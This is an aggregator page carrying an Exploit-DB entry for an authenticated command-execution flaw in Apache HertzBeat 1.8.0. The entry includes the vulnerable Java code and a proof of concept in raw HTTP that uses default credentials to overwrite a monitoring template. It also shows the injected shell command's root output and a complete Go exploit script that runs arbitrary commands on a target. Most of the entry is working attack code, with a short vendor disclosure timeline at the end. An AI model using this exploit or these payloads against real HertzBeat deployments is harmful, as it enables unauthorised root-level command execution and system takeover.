惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V
Visual Studio Blog
Y
Y Combinator Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Hugging Face - Blog
Hugging Face - Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
The Cloudflare Blog
L
LangChain Blog
美团技术团队
N
Netflix TechBlog - Medium
量子位
酷 壳 – CoolShell
酷 壳 – CoolShell
B
Blog
博客园 - 司徒正美
爱范儿
爱范儿
D
DataBreaches.Net
月光博客
月光博客
U
Unit 42
B
Blog RSS Feed
Engineering at Meta
Engineering at Meta
Apple Machine Learning Research
Apple Machine Learning Research
Jina AI
Jina AI
MongoDB | Blog
MongoDB | Blog
腾讯CDC

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
Brett Gervasoni · 2026-05-14 · via Exploit-DB.com RSS Feed

Apache HertzBeat 1.8.0 - Remote Code Execution

# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution 
# Google Dork: N/A
# Date: 2026-03-09
# Exploit Author: Brett Gervasoni
# Vendor Homepage: https://hertzbeat.apache.org/
# Software Link: https://github.com/apache/hertzbeat/releases
# Version: 1.8.0
# Tested on: Linux (Docker; official HertzBeat image, uid=0 in container)
# CVE: N/A

================================================================================
METADATA
================================================================================

Severity: CRITICAL
Impact: Arbitrary command execution via monitoring template (script protocol)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0)
Affected Component: ScriptCollectImpl.collect()
Affected Endpoint: PUT /api/apps/define/yml
Authentication: Required (standard user or admin)

Note: Apache Security does not classify this as a vulnerability; see HertzBeat
security model: https://hertzbeat.apache.org/docs/help/security_model/

================================================================================
VULNERABILITY SUMMARY
================================================================================

HertzBeat allows arbitrary OS commands to be executed via the scriptCommand
parameter in a monitoring template definition.

An authenticated user can overwrite a monitoring template definition via
PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job.
When the YAML specifies protocol: script, the attacker-controlled scriptCommand
string is passed to ProcessBuilder (bash -c "<command>") without sanitization.

If the overwritten template has active monitoring instances, updateAppCollectJob()
re-dispatches them, triggering execution within seconds. If none exist, the
attacker can create one via POST /api/monitor to trigger immediate execution.

The default Docker deployment runs the process as root (uid=0).

================================================================================
VULNERABLE CODE (REFERENCE)
================================================================================

Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution:

    public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {
        ScriptProtocol scriptProtocol = metrics.getScript();
        // ...
        if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {
            switch (scriptProtocol.getScriptTool()) {
                case BASH -> processBuilder = new ProcessBuilder(
                    BASH, BASH_C, scriptProtocol.getScriptCommand().trim());  // payload
                // ...
            }
        }
        // ...
        Process process = processBuilder.start();  // executed
    }

YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML
gadget strings, not shell command injection:

    private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
            "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
            "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
            "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory",
            "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream",
            "InflaterOutputStream", "FileOutputStream"};

================================================================================
PROOF OF CONCEPT — RAW HTTP
================================================================================

Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a
standard user "operator" / "hertzbeat" (user role); admin with default
password also works.

--- Step 1: Authenticate ---

POST /api/account/auth/form HTTP/1.1
Host: TARGET:1157
Content-Type: application/json

{"type":1,"identifier":"operator","credential":"hertzbeat"}

Response: data.token (JWT) — use as Bearer below.

--- Step 2: Overwrite linux_script template ---

PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json

{"define":"app: linux_script\ncategory: os\nname:\n  en-US: Linux Script\n  zh-CN: Linux Script\nparams:\n  - field: host\n    name:\n      en-US: Host\n      zh-CN: Host\n    type: host\n    required: true\nmetrics:\n  - name: basic\n    i18n:\n      en-US: Basic\n      zh-CN: Basic\n    priority: 0\n    fields:\n      - field: result\n        type: 1\n        i18n:\n          en-US: Result\n          zh-CN: Result\n    protocol: script\n    script:\n      scriptTool: bash\n      charset: UTF-8\n      scriptCommand: id > /tmp/pwned\n      parseType: multiRow\n"}

Decoded define (YAML):

app: linux_script
category: os
name:
  en-US: Linux Script
  zh-CN: Linux Script
params:
  - field: host
    name:
      en-US: Host
      zh-CN: Host
    type: host
    required: true
metrics:
  - name: basic
    i18n:
      en-US: Basic
      zh-CN: Basic
    priority: 0
    fields:
      - field: result
        type: 1
        i18n:
          en-US: Result
          zh-CN: Result
    protocol: script
    script:
      scriptTool: bash
      charset: UTF-8
      scriptCommand: id > /tmp/pwned
      parseType: multiRow

Expected response:

HTTP/1.1 200 OK
Content-Type: application/json

{"code":0,"msg":null,"data":null}

--- Step 3: Create monitor (if no linux_script monitors exist) ---

POST /api/monitor HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json

{"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}

--- Step 4: Verify (example: Docker) ---

docker exec hertzbeat cat /tmp/pwned

Expected:

uid=0(root) gid=0(root) groups=0(root)

================================================================================
EXPLOIT CODE — script_command_rce.go (Go)
================================================================================

package main

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"math/rand"
	"net/http"
	"os"
	"strings"
)

const target = "http://localhost:1157"

type authResponse struct {
	Code int `json:"code"`
	Data struct {
		Token string `json:"token"`
	} `json:"data"`
}

type apiResponse struct {
	Code int    `json:"code"`
	Msg  string `json:"msg"`
}

func main() {
	if len(os.Args) < 2 {
		fmt.Fprintf(os.Stderr, "Usage: %s <command>\n", os.Args[0])
		fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0])
		os.Exit(1)
	}
	cmd := strings.Join(os.Args[1:], " ")

	fmt.Println("============================================================")
	fmt.Println(" HertzBeat ScriptCollectImpl RCE")
	fmt.Println("============================================================")
	fmt.Println()

	fmt.Println("[*] Authenticating...")

	token, err := authenticate()
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err)
		os.Exit(1)
	}

	fmt.Printf("[+] Got token: %s...\n\n", token[:40])

	fmt.Println("[*] Overwriting linux_script template...")
	fmt.Printf("    PUT /api/apps/define/yml\n")
	fmt.Printf("    scriptCommand: %s\n", cmd)

	err = putMaliciousDefine(token, cmd)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err)
		os.Exit(1)
	}

	fmt.Println("[+] Template overwritten.")
	fmt.Println()

	fmt.Println("[*] Creating monitor instance to trigger collection...")
	fmt.Println("    POST /api/monitor with app: linux_script")

	err = createMonitor(token)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err)
		fmt.Println("[*] This may fail if a monitor already exists — checking anyway...")
	} else {
		fmt.Println("[+] Monitor created.")
		fmt.Println()
	}

	fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.")
	fmt.Printf("[+] Command: %s\n\n", cmd)
	fmt.Println("[*] Verify with (assuming its running in docker locally):")
	fmt.Println("    docker exec hertzbeat <check your payload>")
}

func authenticate() (string, error) {
	body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`

	resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
	if err != nil {
		return "", err
	}

	defer resp.Body.Close()

	var result authResponse
	if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
		return "", err
	}

	if result.Code != 0 || result.Data.Token == "" {
		return "", fmt.Errorf("unexpected response code %d", result.Code)
	}

	return result.Data.Token, nil
}

func putMaliciousDefine(token, command string) error {
	define := fmt.Sprintf(`app: linux_script
category: os
name:
  en-US: Linux Script
  zh-CN: Linux Script
params:
  - field: host
    name:
      en-US: Host
      zh-CN: Host
    type: host
    required: true
metrics:
  - name: basic
    i18n:
      en-US: Basic
      zh-CN: Basic
    priority: 0
    fields:
      - field: result
        type: 1
        i18n:
          en-US: Result
          zh-CN: Result
    protocol: script
    script:
      scriptTool: bash
      charset: UTF-8
      scriptCommand: "%s && echo result done"
      parseType: multiRow
`, command)

	payload, _ := json.Marshal(map[string]string{"define": define})

	req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)

	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}

	defer resp.Body.Close()

	respBody, _ := io.ReadAll(resp.Body)

	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}

	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}

	return nil
}

func createMonitor(token string) error {
	suffix := randSuffix()
	name := fmt.Sprintf("rce-poc-%s", suffix)
	body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name)

	req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)

	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}

	defer resp.Body.Close()

	respBody, _ := io.ReadAll(resp.Body)
	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}

	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}
	return nil
}

func randSuffix() string {
	const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
	b := make([]byte, 8)

	for i := range b {
		b[i] = chars[rand.Intn(len(chars))]
	}

	return string(b)
}

================================================================================
NOTES
================================================================================

- A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is
  not required for the described flow.
- A new custom app name (e.g. app: rce_custom) can be registered with POST
  instead of PUT to avoid overwriting an existing definition; then create a
  monitor for that app.

================================================================================
DISCLOSURE / VENDOR RESPONSE (SUMMARY)
================================================================================

Apache Security indicated this aligns with the documented security model: only
trusted operators should receive accounts; customization is intentional.
Role-based permission controls are still evolving; see vendor documentation.

Reporting timeline:
- 2026-02-19: Reported to Apache Security
- 2026-02-19 to 2026-03-04: Discussion on post-authentication issues
- 2026-03-04: Apache position communicated (risk accepted per security model)
- 2026-03-09: Public advisory